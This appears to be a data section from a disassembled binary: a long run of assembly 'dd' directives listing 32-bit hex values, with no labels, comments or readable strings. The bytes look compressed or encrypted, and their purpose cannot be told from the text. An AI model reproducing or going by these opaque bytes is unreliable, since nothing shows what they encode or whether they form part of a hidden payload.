dd 0FA4C3037h, 61D7213h, 0A59D42BBh, 0B5C8A30Eh, 70901490h
dd 24CB64B5h, 96BA64E9h, 813EE95Ah, 0D3EC9C1h, 915E51F0h
dd 0B9606F39h, 713776ABh, 8B5FE912h, 1630244Ah, 97CAE9E1h
dd 68511E82h, 8A71219Bh, 325E00BAh, 13C68122h, 55281737h
dd 0A81ABF4Eh, 0C2FF114h, 55AD51EEh, 5D697599h, 25DC7A48h
dd 0BD378B0Ch, 57290BE0h, 0EB5A4CCDh, 1109352Dh, 1342147Fh
dd 0A13D3213h, 0F3E46A6Fh, 0C26A01F3h, 0DD890B37h, 75BF2B5Bh
dd 8661F8FEh, 9DBA0AABh, 33903514h, 0D738542Ch, 2B0F0A7h
dd 0D96FAE4Eh, 0B102D589h, 0BE560033h, 0AB273CAAh, 892A5C38h
dd 4BD470FDh, 29E568E1h, 4CB09A51h, 1FB8BF04h, 8F648Dh
dd 323057AFh, 7A400E4Ch, 74EF651Fh, 0E4C8F600h, 0C431F909h
dd 13594A69h, 63520FAh, 34E5041h, 0EE2B3DA1h, 5B31280Dh
dd 2F0C23D8h, 7AE30A26h, 28651204h, 80F3EA7h, 0CDCC403Fh
dd 0CF3118F5h, 0E44594Fh, 75EA54B7h, 0C69309AAh, 0D72D60F9h
dd 0EA72A129h, 2FE06B20h, 0DB505F58h, 48CE6C16h, 80350AAh
dd 0EA148B12h, 2CE9A368h, 69EE28D2h, 6759F600h, 709F5E87h
dd 47032F83h, 7D494779h, 0F9970EB6h, 3A25CB23h, 5725D2C2h
dd 0E4105C77h, 4C6DBC51h, 7DEE279Fh, 0E7979814h, 32522597h
dd 0B0508C00h, 58C10820h, 0A8727E9h, 5C49C7FEh, 13F0C20Ch
dd 25C5E65Dh, 0ECD52CA1h, 0E05C4A50h, 1B1DF4CEh, 0E98B4F6Bh
dd 87257CC9h, 95512BE7h, 0FE1BB031h, 0B13FC278h, 82C11C7Fh
dd 1259CA0Ch, 202A9F26h, 0C9973FF3h, 903BA37h, 0B2F930A0h
dd 0D2FC5F5Bh, 32DE649Ch, 0FD6D091Ch, 0EE21ABA3h, 97D11D2h
dd 0CF34752Ch, 0E67FEA27h, 4A69F29Ch, 0E79DBC8Dh, 16FFDCE5h
dd 0D57CAF41h, 1E792D68h, 0E456C191h, 6C2743FCh, 0E3595C2Dh
dd 544867E5h, 61E40525h, 0BBF40DFh, 1EA90967h, 0E9F8267Eh
dd 8C445A83h, 8004C54Eh, 894A0F4Ch, 5F913BC2h, 8A09D8CAh
dd 2974E170h, 99D59F0h, 19EEA234h, 40F27701h, 97490E09h
dd 0BDF8586Eh, 2AC961F8h, 211074Dh, 428DA3Eh, 2ABC5D08h
dd 3BF2FBA4h, 0D3D50892h, 1AEF62Dh, 7EAA224Fh, 2094D85Fh
dd 2D304600h, 506C3228h, 0A2D87C01h, 7FC47F07h, 38995D51h
dd 247683FCh, 0C7A8DCAAh, 985B0740h, 9CD17C19h, 2DF8BB4Ah
dd 46543421h, 0D9AF2BE5h, 3BF0E989h, 0E9B0B1B8h, 0D899D750h
dd 40A8A2ECh, 0BCE0BBDEh, 5C40802Fh, 2DF826B6h, 124B672h
dd 7509BAC2h, 50A27E46h, 3C620168h, 0F9996Dh, 0A53608BAh
dd 0D6313F09h, 0E61A605Ah, 970CBECCh, 0C787F4E7h, 65885A09h
dd 0C30B5F97h, 7FA1127Dh, 4B1A1F59h, 387455F5h, 0D50BDF27h
dd 77093430h, 108F23EFh, 0B05EE7A0h, 74B4F4Fh, 3FA3CBAAh
dd 681CFEC1h, 7725552Ch, 682D4A9Ch, 69D17EC9h, 5C9DB166h
dd 6268C1F7h, 8F342A20h, 2933F0ABh, 93D4EA59h, 25869A06h
dd 4A81989Ah, 0F88B3906h, 5BB1DD0Fh, 0A380DE20h, 14C1EC71h
dd 1D536BBFh, 9E73D70h, 6ADC55EBh, 3A1E04h, 0FC2D5ABAh
dd 23ECF4Ah, 0FABDBA9h, 0C68075Dh, 82E0B395h, 0FC41BFB9h
dd 0EB563B1Fh, 0C587ADD3h, 0C0918C6h, 4F3AE9D1h, 0D790E3E7h
dd 10F4885Fh, 0A0EF0581h, 127AE07h, 1038C1F2h, 0B0188E66h
dd 175A876h, 0C331A0FCh, 43986121h, 3BA2149Eh, 7B8010E0h
dd 0A0114325h, 0FC6EFE2Ah, 1035FD63h, 296B0E6Ah, 909D1AA5h
dd 12DB35EFh, 5B69AA24h, 5274D742h, 3D5A7029h, 6AAD54ECh
dd 0E758B37Ah, 77EE1E05h, 162F97CCh, 60EA9842h, 6EB60C6Fh
dd 0A9BEF088h, 0CF5053C3h, 0FABAB333h, 268F42D8h, 7AE01A0h
dd 0AC058FC6h, 0E191D44Ah, 64BE2EA9h, 0C7D4AF76h, 5AE559A4h
dd 5FDF31Dh, 797E168Dh, 5AEB0800h, 0B729638Bh, 0C683E56h
dd 1C251034h, 0C6FF5112h, 51B545B0h, 8B2D3705h, 541A9155h
dd 0B85E10ADh, 0F828634h, 0D7CA570Dh, 5AD5C68h, 0ACEAA3C3h
dd 9504A57Bh, 0ECAAD32Dh, 526FA18Eh, 3FCFFE01h, 27EFE8B4h
dd 0D1F430C4h, 0F8F55EA7h, 7995F968h, 0D53924Ah, 71A1907Ah
dd 8593B900h, 4B247765h, 74120F8h, 1A611026h, 816634E9h
dd 3582F7C5h, 812F7EA8h, 6FDA1690h, 9DE09D98h, 0A267CC0Bh
dd 107BE984h, 7519E414h, 8A5B0C09h, 8ADA891Fh, 0A93309C9h
dd 0D04802E1h, 0B2F655F5h, 230189EFh, 27D129F4h, 8E54CA60h
dd 343DEBC3h, 94A24145h, 0C8E8EEA4h, 9BF57B1h, 4270DA07h
dd 68010BDCh, 240828FAh, 4B1919BBh, 0FF522F2Dh, 16E206E0h
dd 226E501Ah, 225759CBh, 6C585584h, 17507872h, 0F6294D04h
dd 12A742F0h, 2941C1Ah, 8B66B8AEh, 5C7660ECh, 60F80C05h
dd 2D445A89h, 4BE007A3h, 7B5CCA06h, 0EC4226Ch, 6D6B6AC1h
dd 2C466862h, 3B609C5Ch, 0A877C719h, 0C09417A3h, 1AA7C535h
dd 0C2A17C8Fh, 4F433CCFh, 826969FBh, 0A25F8BDDh, 7435702Fh
dd 0C1FBB5E2h, 5A747CA7h, 29F20B82h, 0FDC38802h, 9B070842h
dd 6AFED2D0h, 18FAE5Eh, 7166EB68h, 67BB8284h, 86607448h
dd 7A266DE7h, 27022D3Dh, 4049BC5Bh, 970D9587h, 0B12C167Bh
dd 0EAD76D18h, 32711E39h, 8BB6C97Dh, 99500676h, 2D3A9BD6h
dd 0A4D38F7Dh, 4C83227h, 3DD9956Bh, 0BB015645h, 5E02187Eh
dd 6407D232h, 6040C30Eh, 0C061C5F6h, 17FFD359h, 30FF1228h
dd 651968A8h, 0D6625AB6h, 1130F74Eh, 949F5391h, 0B51B5FAh
dd 0D0CCE989h, 0EF4550E8h, 0A3F0127Eh, 0A87D01CBh, 20589214h
dd 1275E3F5h, 261264B6h, 0E55695D0h, 0CFAA5C42h, 0AD76D01Fh
dd 1394D740h, 0E9337306h, 19472C6h, 1404282Ch, 23750668h
dd 81B22635h, 0F650C50Bh, 0CB985EEDh, 82268D4Fh, 5175D2h
dd 3B0D05DBh, 3521B94Ch, 0C766AC0Bh, 0CC8FF70Ch, 6C3C55C0h
dd 4E4EE9FDh, 0FEE78F4h, 0C49DC7A6h, 611264h, 7A535CB9h
dd 9888A015h, 9D6A7634h, 87788DFh, 89F75917h, 0EB5BC14Ch
dd 0F44E132Bh, 0F141BE0Dh, 0C9CCA46Fh, 5C125B9Ch, 0C2F2B3FEh
dd 5436F8E9h, 303162E3h, 0D845745Dh, 0C29788E9h, 0ADED7D3Bh
dd 0AD566313h, 0D1617CFBh, 2BA5240h, 1B755E53h, 8FE0D031h
dd 48E8F8BCh, 6A407790h, 9D22C3BDh, 0E7D95716h, 84B5221Eh
dd 0EA170B8Bh, 0C0641CC8h, 2978BF6Dh, 8100195Dh, 9F434CCFh
dd 59A8E913h, 0FE9233EDh
dd 2368B640h, 0B331BD78h, 0F1E9055Ah, 27A9F2B2h, 0BCDF801h
dd 38D6499Bh, 402A077Fh, 0D2F74860h, 0E0EA4EC1h, 1018CFAEh
dd 0EB224542h, 52D53077h, 9C689618h, 0CA010C3Ch, 0C56898BAh
dd 7645025Fh, 0A8B39B46h, 0F6D1810h, 5AA2CACh, 71BEB9C0h
dd 0F4E38862h, 0CB34E42h, 0CD20BB02h, 0A29E681Dh, 50559E0Ah
dd 4997DB38h, 0F8CFDD1Dh, 722E08F5h, 9A0CC085h, 2D38224Dh
dd 12E4529Fh, 0E9196EE9h, 92493D6Ah, 42FE2F3Ah, 8F7AE874h
dd 0DE8398C0h, 0C1D22981h, 0CA3BAB5Ah, 51F61111h, 35EEA27h
dd 3B7E59A7h, 32751C6Bh, 44ED40F3h, 22A2B762h, 97B17B9Ch
dd 5E7324EDh, 0BE4ACAFCh, 0B8D0D8FAh, 0AB54190Ah, 0C302E752h
dd 0E107A82Ah, 5100A211h, 0EBE4C588h, 0F955B0A2h, 1F79E2DBh
dd 3FF8477Dh, 0CBC81C25h, 480225F5h, 0EF213616h, 0F3F9775Dh
dd 0AE1FFFA6h, 85C52DB0h, 707848A8h, 0D6094927h, 327A1154h
dd 75DAF5A3h, 22829A70h, 5201CF8h, 42038129h, 0DFA32401h
dd 74295B4Bh, 0E90A4323h, 52D6E66Fh, 104B00DDh, 0B029243Ah
dd 9049BD8Dh, 5F962F01h, 0B7D9B722h, 761F3F09h, 6227736Ch
dd 0C4A0D43Dh, 9841BE47h, 886E3EEFh, 0EFD31C3Ah, 861612DBh
dd 212B0FE1h, 0F04EAAC7h, 0F9580180h, 2232C4FFh, 0D570A17h
dd 0E589E8Dh, 0E32668B4h, 555A8D64h, 814E5300h, 2C4122E6h
dd 1FA44DACh, 593B4F9Bh, 4423CE83h, 0C0538C3h, 635267D5h
dd 6FFB0480h, 17F13DFh, 5835EEF7h, 868CC6BFh, 0B1E91509h
dd 510DD42Ah, 384F68F6h, 211609B9h, 24A10002h, 13D6DE0Ch
dd 0B91A43E9h, 0D03618AFh, 0F9F3802Ch, 5125F02Eh, 0AC7EB53Ch
dd 553903F5h, 6EC300DBh, 38C55A3Ch, 30EEE4ADh, 0FA5EB38Eh
dd 93530728h, 0E87E662Fh, 12B7EE96h, 14A0829h, 2E61AF67h
dd 14A57F8Eh, 124D72CCh, 1731F96Eh, 3766B065h, 0C363778Ah
dd 81050601h, 62588CBh, 0EDF3D040h, 2A8B2FC6h, 9A2D425Eh
dd 3DB801C7h, 0ED415418h, 8105151Ch, 2864BC51h, 7FDDDD2Bh
dd 0EBE92084h, 680E22ADh, 0DB983CA5h, 0F8BFDDB1h, 1098240h
dd 0BB5AFF5h, 0B041E83Fh, 7066E828h, 0E3C84859h, 6B99BFB5h
dd 62C6BAA9h, 0ECA577E9h, 0D560AAF6h, 268057B7h, 10510BCFh
dd 85FE4E01h, 1762AEBEh, 0E9CFE88Eh, 38464F58h, 3A386842h
dd 70FE4F35h, 0BAE8E915h, 400CF997h, 2ECDE181h, 0CD371726h
dd 20D8F182h, 0F7607D0Bh, 8012A5Ah, 0F8D2D7Ch, 0C43B1ED6h
dd 0ED071619h, 68EB97B0h, 5192C561h, 0C25874B5h, 8CAB82FFh
dd 49E72F7Dh, 5F6AA9D9h, 0F9426671h, 0CF0FE84Dh, 185F257Fh
dd 23626E7Ch, 7EFAAC28h, 0A7E6092h, 0F46CCEBh, 50C0B702h
dd 5D44F468h, 3C130645h, 552FABB8h, 0FE5AA67Ch, 21E9F84Dh
dd 2420F15Fh, 0C5189168h, 0EBDAC35Bh, 750F5225h, 7310254Bh
dd 12FDCDB0h, 0E87A0468h, 0F785CB2Fh, 2E8234E1h, 293B3CB1h
dd 0DC17A0Ah, 0EB043270h, 95F7F100h, 0FABB23E6h, 27FB9CB5h
dd 0AF404D7Fh, 0D9093D50h, 0FD540D0Fh, 23B57520h, 7BD725Ah
dd 0E2A099CAh, 0B26DE977h, 837895A9h, 7A467E9Fh, 0F407FC41h
dd 0EA865A44h, 68B09E7Ch, 0FB5F1211h, 0D0436BCEh, 26614816h
dd 9391A8E6h, 0C87F6902h, 0AFAC8373h, 0E944885Bh, 8CB89219h
dd 43939F29h, 5DF50C09h, 239891Eh, 0DE3A84A3h, 1296F0Dh
dd 5727CD74h, 0B09719CDh, 0BBBC6E0h, 6EBE5016h, 170342D6h
dd 466090Eh, 0E67F319Ah, 2817EC4Dh, 220B9059h, 0F520F814h
dd 9D61CEAEh, 7F0107C0h, 618902E2h, 0C07690C2h, 89ED7725h
dd 6F1975A5h, 91A83BEDh, 0BDF9F84Ah, 284C7F64h, 20FA1E43h
dd 5D7660CEh, 0AC7F3A2Ah, 0CAA55B4Bh, 0C1A44829h, 92A51Dh
dd 9059159h, 2DB35169h, 912A70D5h, 0BB401250h, 53200722h
dd 6368845Bh, 418EFA73h, 1C80584Ch, 87374B57h, 106CE95Dh
dd 68024A46h, 61343D60h, 0ACB2BC0h, 1CDF7A16h, 7BDE8000h
dd 0E24138EAh, 0C1AA27E9h, 0FD7BD95Ch, 0D43721FEh, 4C0042Eh
dd 556484F8h, 7D68E32Ch, 1BE80D92h, 1E1CF827h, 24118958h
dd 822A9D9h, 0B05DE925h, 971B3E28h, 70345D47h, 298E41BFh
dd 3465E9CEh, 6D98552Eh, 384ACF0Fh, 87B28512h, 99E40ECh
dd 4F9B5392h, 34EFC8C1h, 55AF80Eh, 0B63BF5E5h, 0E7993951h
dd 28B1EEC1h, 0A0753B5Bh, 0C1D78CA5h, 0E8C10916h, 1AB6052Ah
dd 89CD266h, 0CBCE3F5h, 0CC02E910h, 2B0EBDA7h, 7768A009h
dd 814F0F09h, 0AE6DBA5Ah, 53E4E9E2h, 5BB8222Bh, 89D5E5E2h
dd 93D867C0h, 0DD90BB66h, 97FEFB2Dh, 0F74531DDh, 6A860901h
dd 1F2C3E8Ch, 0DA3EB212h, 0FE5D04D0h, 742DAE8h, 7B972270h
dd 4E1228C2h, 8C2F2251h, 9045C0EAh, 752CEAADh, 133E2521h
dd 6B9B217Ah, 7EF68D21h, 7EDE5E02h, 56160703h, 0D968C004h
dd 518BC50Eh, 3824AE9Dh, 88AC1BEh, 0D7530221h, 68859971h
dd 85BC75B7h, 402BCFC5h, 3405BA51h, 0FF9575B2h, 285DBA09h
dd 32139AC2h, 0A24B10BCh, 0CBBED661h, 8D68169Fh, 0A917D21h
dd 0D0B15103h, 2E492A8Bh, 0BE917E48h, 0FB171106h, 0C3070CFCh
dd 0D15F8E39h, 0A4E1ABCFh, 95FFBBE1h, 2D37FCBDh, 3722F505h
dd 65642201h, 2424FEBDh, 0D6F84EDh, 50F2807Bh, 3950B04h
dd 0AA56D399h, 0EE67DD23h, 769E5718h, 89898118h, 0C6171A88h
dd 0A3F201Ch, 1A1A0158h, 401CB3F0h, 1038CE2Dh, 35C4854h
dd 10D204FAh, 17A8E401h, 4FDDEB1h, 34E510C1h, 0F8525670h
dd 0EDBC4E53h, 1DE9A02Eh, 0AA0AD023h, 0ABCBDA39h, 2F7E378Bh
dd 9F7A036Fh, 0EE94E7E0h, 0A2CBB260h, 0A8509DDFh, 0E9C62906h
dd 4241242h, 750945BFh, 121FFF6Fh, 50CAD0DFh, 0D284C61Ch
dd 0EDC3C804h, 0ABC34A90h, 0BA964221h, 9F2F316Ah, 0EB734032h
dd 0BCB4087h, 0B2F5852Ch, 680100B8h, 77F67E17h, 2AA425Fh
dd 0A3937ADEh, 7D31B7F0h, 7BC931CFh, 63180E31h, 82513C08h
dd 58FD624Ah, 0F0D47759h, 0C7134082h, 56D34222h, 576248Ah
dd 0C3434ED6h, 0E9A004C7h, 0EC95B4CBh, 123BE1EAh, 5245E4BBh
dd 7E179390h, 81A85A06h, 0AB2C3416h, 81FCA65h, 8DF822E5h
dd 4F0FFE1Ch, 0BB6E2806h, 3C89727Ah, 8FD8AD3Fh, 0F04B708Eh
dd 61410D26h, 74C1F502h, 0BBD1C14h, 57044C0Ch, 170BBC62h
dd 5C83CB88h, 3857B159h, 0CEBCC748h, 37CB5DDBh, 613AEA7Dh
dd 8F02DECBh, 0F892A340h, 0E1B09B98h, 28753F1Ch, 0FD13EAACh
dd 794997A8h, 681B5294h, 54A0592Dh, 3358290Ah, 1F64054Eh
dd 50BF1B79h, 0FD4A0803h, 78FAD7E4h, 56B2F7B8h, 0C1B05B9Fh
dd 344C60E9h, 6C13EF39h, 59041C81h, 0EC16A80Fh, 7DB04CF5h
dd 81E22FF7h, 0BC4BFD16h, 15D59F8Ch, 6DF14FF6h, 0D331B36Fh
dd 3923430Ch, 0FC054FE6h, 4367C7EDh, 7589EBAFh, 247E784h
dd 5C390568h, 0EA06FF9h, 0E0C1751Ah, 92ECC09Fh, 982AFC58h
dd 5F7A3B18h, 5C9AC7D0h, 0B8871CDFh, 10DF34Eh, 1A4384B4h
dd 50D71C08h, 0BA1BCB9h, 624E393Ah, 623BD680h, 0A73B7995h
dd 6E791477h, 6238F8CFh, 782F191Eh, 0BD03D842h, 0AE08FA58h
dd 2F89D2D5h, 3EA29C63h, 4AFEC175h, 5216193h, 0ED42F114h
dd 0D6887B5h, 58D61A19h, 0ED4CBDA1h, 0DCBD0970h, 4D4EECD3h
dd 5177FE13h, 0C847DE42h, 5811774Fh, 0E712E78Fh, 78C0651h
dd 465C13D7h, 0EB6A901Bh, 9D0258BCh, 44E9CD31h, 0C9B1A0E0h
dd 51090126h, 3838A97Eh, 222DF180h, 8FBD516Bh, 0DDC3E956h
dd 0C88601C2h, 5890B3BFh
dd 9FF6F324h, 0E3073D24h, 0C5A24B06h, 0A82175A3h, 9FE2536Ch
dd 0D549FDB8h, 1537B8D4h, 75688023h, 4A66DAB5h, 262AF34h
dd 5A0CC9D3h, 51CDB831h, 0D53FD87Ah, 64C15D16h, 45806107h
dd 40F5740Bh, 1A6C2E30h, 3B3C10D4h, 9236968Bh, 0FB9710BBh
dd 9B61AB06h, 6CA5D64h, 0E9040A2Dh, 0B8B5E22Ah, 8584D46Ah
dd 9045ABE3h, 0E4068F66h, 4A292B25h, 94C6BBC7h, 8C3C4A3Eh
dd 8923923h, 0CFD8A3BDh, 0E0D38A42h, 1FE5E740h, 71B317Eh
dd 646EE0F7h, 9817BA12h, 0F56D31FBh, 0A3416F37h, 1AC95346h
dd 25AE07Eh, 6542004h, 79D084E9h, 183311BAh, 0DE294312h
dd 5C53DE68h, 53501EB4h, 26192A85h, 0B2FE14C4h, 0B8D05B2Eh
dd 4F3A32C2h, 18D3A47Ah, 73C95E5Bh, 9627D1E0h, 6B5387BEh
dd 0C3D73B6Dh, 5983F91Ch, 7FF28C50h, 52493860h, 10C4EF9h
dd 0CFE5EA7Ah, 0B4B12FF4h, 7FC1DE14h, 0D24E87Ch, 0BF037033h
dd 90CB8456h, 0B759CF71h, 53850F65h, 59EBFEF9h, 4FA1072h
dd 68D271A3h, 0CD889B7h, 652DEh, 0DDB93815h, 0E9578635h
dd 0C804C027h, 2564453Bh, 82E92DFEh, 0C19A945Bh, 2658330Ch
dd 21771780h, 3C2F08D9h, 0CD657D27h, 2A10AAA4h, 68C32802h
dd 45FE05CAh, 5169B260h, 53D12C88h, 12DC9086h, 911AC05Ah
dd 21F54006h, 14808222h, 0D66B6EC2h, 0E2685609h, 6F385E27h
dd 4A02B873h, 0A6E2F7B8h, 582E94D8h, 3D37445Eh, 0D6EA64C7h
dd 502AB69Ch, 4D256679h, 3587813Eh, 88F449Fh, 0BCD367EBh
dd 988C5FC9h, 0C8795B64h, 0B95B7BDCh, 0F202E3E3h, 73C22856h
dd 355B8075h, 4BB979D6h, 354BA0Dh, 0CEEE1790h, 405ACE22h
dd 2407F570h, 0B5F7A10h, 9D2411D1h, 4ED8AFDDh, 0C77062BAh
dd 0A9666708h, 0F9B65200h, 8856C680h, 0AAE917F5h, 12558A8Eh
dd 0EAA42E7Fh, 4586170Dh, 0D506FA7Eh, 0E25B4D0Bh, 0E87AE132h
dd 0E3DE170h, 0A729D81h, 305938AEh, 6FC0D4F0h, 325A8AEAh
dd 1F6A950Fh, 84F7080Bh, 0A2EE026Eh, 0A2E4D078h, 5EB44996h
dd 3EAEB43Fh, 0C6047A41h, 0B55A53F3h, 0DE8B3A02h, 2F18B55Ah
dd 0B05ACF4Ah, 0B4B371Ah, 4A615583h, 2C69305Eh, 0C39B2604h
dd 0C5F81EE9h, 6D910B4Bh, 0D3DF3542h, 0A0269A7h, 0FA4A0F07h
dd 4061C302h, 55074466h, 821CE068h, 26CD7709h, 51FA8F8Bh
dd 0C55288C1h, 434E6805h, 3682FC37h, 0D2735554h, 3959E961h
dd 5385302Ch, 45C2EEB3h, 0D4BD001Fh, 4E00D057h, 0A830C581h
dd 0BD01B12Fh, 59AF26C5h, 0CD8BCC78h, 582463EFh, 34F10509h
dd 0C3AE6A97h, 8014840h, 75940507h, 67D43DEFh, 543C5CA2h
dd 17D57E10h, 0BEFE2D0h, 0AE7A34C3h, 0E1D1E841h, 53605F02h
dd 1328BAC9h, 7120D621h, 0AA829D50h, 68002D57h, 5FD73E1Bh
dd 0F92CEB78h, 7DD7A73h, 5EF189B1h, 26E1A041h, 1B5EE320h
dd 0EE900E91h, 0EF00546Dh, 5DF22185h, 1E90F701h, 0DFD30882h
dd 11BDE941h, 795EAA2Ah, 1043A40Ch, 0EF66525Ch, 0FEF2A20Bh
dd 0B61823D1h, 5F9B6877h, 93183036h, 19082D5Eh, 243FFDE9h
dd 115709FAh, 48F8CE60h, 0F3827D82h, 0D80BD998h, 0AEDDFFD4h
dd 0D380BD2Fh, 3519E2EBh, 7F8C8A5Dh, 0E2A8A25Eh, 0D64C5D1Ah
dd 0EEC0F38Ah, 71BC8BC5h, 0DFF74784h, 0E551A587h, 9300843h
dd 0F8301303h, 29BB556h, 1E5E5F08h, 211EC2Fh, 595E51C1h
dd 89904E58h, 98D3FED4h, 0C004F4B8h, 0B95F5467h, 18050556h
dd 0E1013870h, 43214D50h, 4E111881h, 6B89F563h, 57BE3D1h
dd 39EE8000h, 0DDD72C2Dh, 7195C7B6h, 70B38204h, 437F792Ch
dd 9B5BA3F6h, 0DFF083DBh, 8CC18049h, 95FCF680h, 5D658B5Dh
dd 511F9F66h, 92241168h, 52D8B360h, 61DA7288h, 0ADE92DD5h
dd 0C4693CB1h, 0CDAB864Bh, 34136E4Ah, 25E14508h, 0F6206B70h
dd 687014h, 5E408447h, 7BB904BAh, 0F384BF5Bh, 0E9E4CCFFh
dd 40F01B34h, 57E57D81h, 0EC7DF2C0h, 90C70EDh, 0EB896CE0h
dd 505825DEh, 0B1BD0455h, 0BE7F9B3Ch, 3B173BCBh, 0A102E83Dh
dd 0E9001F1Dh, 7CC7168Dh, 9B740CB2h, 5428ADA8h, 9C3E277Ah
dd 1E42FDCh, 109AE4BEh, 408AC653h, 0FE4BFB92h, 982321AFh
dd 7071052Ch, 256EA4EEh, 502CFD46h, 92EDB99Dh, 64D1BA1Ah
dd 95445729h, 641F4A04h, 0FFCBB445h, 0E8D7FAC4h, 9E455F59h
dd 0D65908ADh, 0E8F1321Bh, 74D8280Eh, 0E6E42Ch, 0B050535Bh
dd 8073B7D3h, 3A4DEF38h, 4AEBF2C7h, 5066372Ah, 0CD129004h
dd 3C1C6117h, 8EAF4B77h, 0F06E1325h, 0F5CB3461h, 84A6E96Eh
dd 5FA93A7Fh, 0C8575D16h, 0FBF45FF6h, 0A85365BDh, 46E72E40h
dd 2A174038h, 44D06986h, 3B0841E1h, 80602DA1h, 0CA315B49h
dd 0F2027D0h, 49F8CE13h, 0D6E47FC7h, 95D5F702h, 719F99E9h
dd 753F3C61h, 2FB510E0h, 0D707CD80h, 0E5D0DDF6h, 0DD13F572h
dd 2DE99360h, 0B1BC2F4Eh, 0AB0856DEh, 49CDAC46h, 5A91F406h
dd 0D21DED92h, 89FE9757h, 0D3A82B8Eh, 6A3092F1h, 5606A4F7h
dd 0E567EB68h, 0A0BE3C75h, 661E5FEBh, 0F9F76616h, 611ADFEBh
dd 3DC46808h, 46636589h, 0C1E460D6h, 270B50E1h, 0EB870217h
dd 68D087DDh, 101D693Dh, 3C4E7C50h, 0B4EB20AAh, 0CC39FE1Eh
dd 0AF93080h, 4FE9D4F6h, 0E320E4B0h, 0FC3D16FCh, 57BEA76Eh
dd 5D12CD45h, 0EDAA9DC4h, 0F582F5Fh, 2016CBF7h, 336D352Dh
dd 180A4867h, 0D67C3C04h, 0BB94FE10h, 0A258080Bh, 4FB8A7BAh
dd 0EEEB0883h, 0C006C535h, 4FB680B4h, 927AF202h, 0FE5E89B6h
dd 0E0BFB134h, 8E418C9Dh, 0C56CB43Bh, 0D4FB0C2Fh, 0FA5B0497h
dd 68588CFEh, 0DD11EF6Bh, 9ED2AAA3h, 5B7799C7h, 7B4D6203h
dd 4D345606h, 0FB4B285Fh, 0EF4B69CAh, 0C4F7ECD8h, 0B3474976h
dd 0E8FD1025h, 0F893BB3Ah, 6749AAD7h, 0B37D823h, 0D9F648B1h
dd 0C042C6D8h, 8637A94Ah, 4978216h, 85DF4BEh, 641FF36h
dd 103B6F6Dh, 7E02286Ch, 4EE95985h, 0AF29EAA5h, 0AD3EEDDDh
dd 0D4178A3Fh, 5AD62186h, 29F70B46h, 0DA3E6E2Bh, 4A76E93Ah
dd 0C1E0D8BEh, 0DE12E82Fh, 45350959h, 2E596E7Fh, 496F59CDh
dd 49351C75h, 124AACE1h, 66C9A464h, 97F78ABFh, 61EA3B17h
dd 7FF98BFh, 0F2BBBE0h, 0C4814BE9h, 81CEBB6Fh, 0EE5CAC16h
dd 800C353Ch, 0B431E9E1h, 342C2641h, 95769F60h, 4B404856h
dd 2D0ED853h, 0A8D4DBF7h, 45B8D084h, 680845FBh, 0AA8CFBC9h
dd 4A582F5Ah, 3C753778h, 1F0C7160h, 0A12A9D72h, 0E6DC28BDh
dd 0D6290A6Ch, 2F08BA52h, 3BC2B302h, 7E70B0Eh, 8FA4D15Dh
dd 356199B1h, 9D3A6221h, 6B5C2162h, 0BC9EF8C8h, 8A591259h
dd 855C24A5h, 7D346885h, 0B50337BFh, 79D9EB02h, 0C0C4D76Ch
dd 0CCE9BB61h, 2312BB97h, 1215A3AAh, 0BEB2E8BAh, 8C685304h
dd 79709151h, 7E5FC207h, 0A859C999h, 23738049h, 0BF039D64h
dd 261B85E1h, 0D0A25FEAh, 0ECAC12h, 17BAB86Bh, 83003397h
dd 0E0C101E8h, 14862502h, 0B318A33Eh, 1F0C6C05h, 5FC1EE7Bh
dd 0D1BBECDDh, 0CC76F7Bh, 8B51846Ch, 2738C79Dh, 95DBB657h
dd 4FCC13F5h, 0BAAC5372h, 83960648h, 74E68059h, 0C1E5C699h
dd 0E37FFEF0h, 0F58E12D5h, 4ECBBEC1h, 16C56801h, 3E5F7C0Fh
dd 0E50623B2h, 0C50A71Ch, 97F1B31Dh, 220057D3h, 759E7D51h
dd 0A7409629h, 0C206154h, 200BF095h, 629DE211h, 3167C4A6h
dd 0EDF34063h, 0E5601701h, 500F454Bh, 77BAD849h, 0BCFB5B44h
dd 5C312F40h, 5AD70949h, 9B56C4D4h, 3FE909EBh, 5152FBA3h
dd 8625BC39h, 29B9706Dh
dd 9EF1E80Bh, 92E91F60h, 0F7AAB447h, 7B9E0238h, 7145F469h
dd 0E575E9FBh, 0C21D1276h, 2F5DBEE3h, 311B4CE1h, 0E663B8FEh
dd 0D8F780EFh, 3C2D4002h, 0DFBE09E8h, 3FD285CAh, 6A9521E4h
dd 58EF7C02h, 2E90EB56h, 98E25C4Ah, 0AB5EF7C4h, 0EAD201E9h
dd 0E90D5E9Fh, 6FA085F1h, 0EF81B281h, 41DFEC6Ah, 0EBE86AC3h
dd 0BFAEE90Dh, 0E68041C9h, 0C3800010h, 7B287381h, 91A42550h
dd 0E58FF6E8h, 9330FA3Dh, 31BB0EBDh, 6FA7A66Fh, 15968D37h
dd 0EB815CCBh, 47934804h, 0E7E6EA31h, 63ECD741h, 0B26BFD17h
dd 37330410h, 0DA012435h, 47A8235Ch, 967BD1DBh, 0BF0C8F63h
dd 0FBF85232h, 0EB71622Fh, 5029D020h, 694FFB92h, 71C770C3h
dd 0BF570048h, 8280840Ch, 16F0EB05h, 0F80D5590h, 281A8EE9h
dd 680CA468h, 14432EB0h, 31FD577Dh, 0BCA63E53h, 0AED25C84h
dd 0EA65FF43h, 0BF8B4AFEh, 0CA883EC4h, 40BE4BD5h, 6F74C3C2h
dd 2BEB0115h, 0A0EB1770h, 4BC22E6Bh, 2037263Eh, 1D1CD008h
dd 917F186Bh, 56CAD69Ah, 73296FE1h, 71DF3C62h, 33DEEB20h
dd 0D4ED0609h, 0CF273A1h, 0D1D5FB89h, 743A4C74h, 0A059DC40h
dd 2E0D62AFh, 10622B23h, 12513B91h, 1CA452A3h, 0AF764A99h
dd 0B97E6B29h, 70984D9h, 5D0231BBh, 0EECD106Ah, 6DD43D76h
dd 8E33F0ACh, 0AE972B2h, 9280DAD8h, 611FF9F3h, 5F3B4E64h
dd 0A0FFC612h, 0A594DE96h, 0AA185816h, 300A6BD8h, 0CDC422EBh
dd 7E5BED38h, 1694E585h, 2D2FEDEEh, 68D5C008h, 315E5F14h
dd 3A26AAF1h, 17BED977h, 0FBA8BA0h, 620A3643h, 0FEF44F5Dh
dd 0F08BA875h, 4F932E74h, 90EC6A56h, 8191FAA7h, 44E8BD55h
dd 1016685Dh, 5C063EBCh, 2F6CA468h, 13E9DABFh, 1631A8BBh
dd 45E2600h, 0C3269288h, 7CBBEC2Dh, 57A80953h, 2CE3A110h
